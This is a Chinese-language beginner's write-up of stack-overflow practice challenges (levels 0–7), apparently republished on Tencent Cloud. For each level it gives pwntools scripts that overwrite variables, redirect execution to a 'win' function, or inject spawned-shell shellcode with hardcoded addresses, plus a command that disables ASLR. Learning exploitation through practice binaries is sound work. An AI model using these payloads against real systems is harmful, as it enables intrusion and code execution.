Linux栈溢出入门

做题入门=。= 菜呀,学习

level-0

aris教我checksec一下看是啥文件

32位的打开32位的ida 主程序

ebp是栈底指针 esp是栈顶指针 好奇为啥栈底指针在最高的地方

  • aris说是为了最大化利用空间(懵逼) ~~学习一下栈的知识~~

只要覆盖0x44个字节把 v5覆盖了就行

# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

payload = "A" * 0x44
cn.sendline(payload)

cn.readline()

gdb 调试一下

可以看到已经被覆盖了

level-1

checksec 一下 发现是32位的

打开ida

只要把v5的值覆盖成1633837924就行了 转成16进制

0x61626364 用pwntools的时候会跳不出argc aris说就跟sys.argv 一样需要给参数 看来只能手输入了

这里刚刚好覆盖到 换成61626364就好了

因为是小端的所以是反的

ok

level2

还是32位的一个 用ida打开

直接运行会这样

有一个getenv函数 是从系统环境中获得变量,问了一下aris export这个命令就行

ch1p告诉我在ida里面可以用h将值变成16进制

只要把v5的值覆盖成0d0a0d0a之后就好了 小端所以是0a0d0a0d

import os

os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')

运行一下成功了

level3

放到ida看一下

主函数

还有一个win函数 应该是把v5的值改成win的入口地址

看到win的入口地址是 0x08048424 把v5的值改成这个就行 需要 0x40个A+0x08048424

aris教我可以用hex来查看堆栈信息 使用回车可以看后面栈的内容

可以发现我已经将v5的值改掉了

成功 脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level3')

payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

level4

打开ida

发现main函数只有这么点 还有一个win函数

还是要跳到这个函数 找到win函数的入口地址 看了一下s离ebp是0x40个字节 所以payload是 'A'*0x40+'bbbb'+p32(0x08048424) b是用来覆盖ebp 接下来就是返回地址 在测试的时候发现不行用gdb调试一下

发现并没有跳到我给的地址打印一下栈看一下

发现我的已经写上去了,但是地址还在后面8位 所以更改payload A*0x48+'bbbb'+p32(0x08048424)

成功!

脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level4')

payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

解答

为啥往后移了8位静态分析的时候没啥问题 问了下aris

经过了与之后就比之前小了8就往后移了8位 23333 gdb是好东西

level5

打开ida

除了这个函数别的都没了 可以试着写shellcode了

看一下pwntools自带的shellcode只有44长度 那个字符串s的长度有48所以写进去应该没啥问题

不过首先得把ASLR的保护给关了不然写不到那个地址上 sudo sh-c"echo 0 > /proc/sys/kernel/randomize_va_space"

用gdb调试一下

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)

可以看到他已经被覆盖成功了,下一步就是shellcode

命令执行成功

level6

打开ida

main函数 看一下getpath函数

应该是从这里入手 发现不能像level5一样直接覆盖return的地址了 他做了限定前2位不能是ff ~~经过一天的学习=。=~~ 通过空函数然后在return回来执行下一句return到shellcode就好了

找一个空函数 方便跳回来继续执行 就是你了 0x0804850b

gdb调试一下

成功进去了

return到了我们的shellcode的位置

成功~

脚本:

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)

cn.interactive()

level7

还是和level6一样 只是getpath函数变了

就是多了一个strdup函数 上网查了一下他是从堆里面分配空间 感觉没啥用 跟上一题一样的思路找一下空函数

0x0804855b 然后写一下payload

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)

cn.interactive()

番外

当然有更屌的解法

(等我学成归来)在学习一下

参考资料

https://blog.csdn.net/sinat_31054897/article/details/82223889

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-01-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 护网杯pwn——huwang超详细wp

    比赛结束快一个星期了,复现了一下这道题,借鉴了一下网上的wp发现大佬们写的都很简略,所以这里写一个详细的wp供小白们学习。

    安恒网络空间安全讲武堂
  • MSSQL--PowerUpSQL介绍

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和...

    安恒网络空间安全讲武堂
  • 二进制学习系列-格式化字符串got

    加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件'put',一个是显示文件'dir',还有一个是读取文件'get'。

    安恒网络空间安全讲武堂
  • 监管下发145号文摸底互联网平台与交易所合作

    12月28日,深圳市互联网金融协会于近日下发了《关于排查辖区互联网平台与地方各类交易场所合作情况的通知》(整治办函〔2017〕145号)。 据了解,监管要求互联...

    企鹅号小编
  • 五位数终端收购的域名dongxiao.cn已启用

    双拼域名因其简短好记、品相佳等有点在米市可谓是很抢手的品种之一,深得一些企业的青睐。近日,一双拼域名dongxiao.cn已被东孝互联网信息技术有...

    躲在树上的域小名
  • C/C++中inline用法详解

    (一)inline函数(摘自C++ Primer的第三版) 在函数声明或定义中函数返回类型前加上关键字inline即把min()指定为内联。       in...

    Angel_Kitty
  • 探寻 webpack 插件机制

    webpack 可谓是让人欣喜又让人忧,功能强大但需要一定的学习成本。在探寻 webpack 插件机制前,首先需要了解一件有意思的事情,webpack 插件机制...

    牧云云
  • 限制堆栈的堆栈排序

    原文题目:Stack sorting with restricted stacks

    Jarvis Cocker
  • How to Install Orabm

    http://www.eygle.com/special/How.to.Install.Orabm.TPC.htm

    数据和云01
  • Apache Thrift的C++多线程编程定式

    Facebook贡献给Apache的开源RPC组件Thrift有着广泛的应用,C++中使用Thrift也十分普遍,但由于Thrift的Handler会被多个...

    一见

扫码关注云+社区

领取腾讯云代金券